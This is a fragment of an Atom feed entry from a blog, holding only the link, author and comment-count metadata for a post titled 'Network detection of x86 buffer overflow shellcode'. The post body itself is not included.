&lt;/script&gt;</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/2894821928686339644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2010/11/network-detection-of-x86-buffer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/2894821928686339644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/2894821928686339644'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2010/11/network-detection-of-x86-buffer.html' title='Network detection of x86 buffer overflow shellcode'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><thr:total>0</thr:total></entry></feed>